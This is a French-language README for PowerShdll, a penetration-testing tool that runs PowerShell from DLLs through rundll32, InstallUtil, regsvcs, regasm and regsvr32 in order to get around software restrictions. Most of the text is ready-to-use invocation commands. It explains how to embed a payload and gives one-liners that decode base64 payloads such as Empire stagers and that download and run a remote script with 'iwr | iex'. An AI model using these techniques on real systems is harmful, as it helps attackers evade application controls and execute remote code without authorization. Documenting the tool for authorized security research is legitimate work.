
Exécuter PowerShell avec rundll32. Contourner les restrictions logicielles.
Exécuter PowerShell avec uniquement des dlls.
Ne nécessite pas d'accès à powershell.exe car il utilise les dlls d'automatisation PowerShell.
PowerShdll peut être exécuté avec : rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe ou en tant qu'exécutable autonome.
Utilisation :
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Afficher ce message
rundll32 PowerShdll,main -f <path> Exécuter le script passé en argument
rundll32 PowerShdll,main -w Démarrer une console interactive dans une nouvelle fenêtre (par défaut)
rundll32 PowerShdll,main -i Démarrer une console interactive dans cette console
Si vous n'avez pas de console interactive, utilisez -n pour éviter les plantages lors de la sortie
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Utilisation :
PowerShdll.exe <script>
PowerShdll.exe -h Afficher ce message
PowerShdll.exe -f <path> Exécuter le script passé en argument
PowerShdll.exe -i Démarrer une console interactive dans cette console (par défaut)
Les payloads peuvent être intégrés en modifiant la variable "payload" dans la méthode start du fichier common.cs. Si un payload est intégré, tous les autres arguments seront ignorés et le payload sera exécuté lors de l'exécution de PowerShdll.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Remarque : Les stagers Empire doivent être décodés avec [System.Text.Encoding]::Unicode
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
Certaines erreurs ne semblent pas s'afficher dans la sortie. Cela peut prêter à confusion car des commandes comme Import-Module n'affichent pas d'erreur en cas d'échec. Assurez-vous d'avoir saisi correctement vos commandes.
En mode dll, le mode interactif et la sortie des commandes reposent sur le détournement de la console du processus parent. Si le processus parent ne possède pas de console, utilisez le commutateur -n pour ne pas afficher la sortie, sinon l'application plantera.
En raison de la manière dont Rundll32 gère les arguments, l'utilisation de plusieurs espaces entre les commutateurs et les arguments peut causer des problèmes. Les espaces multiples à l'intérieur des scripts ne posent pas de problème.
Ce projet est destiné aux chercheurs en sécurité et aux testeurs d'intrusion et ne doit être utilisé qu'avec l'approbation des propriétaires du système.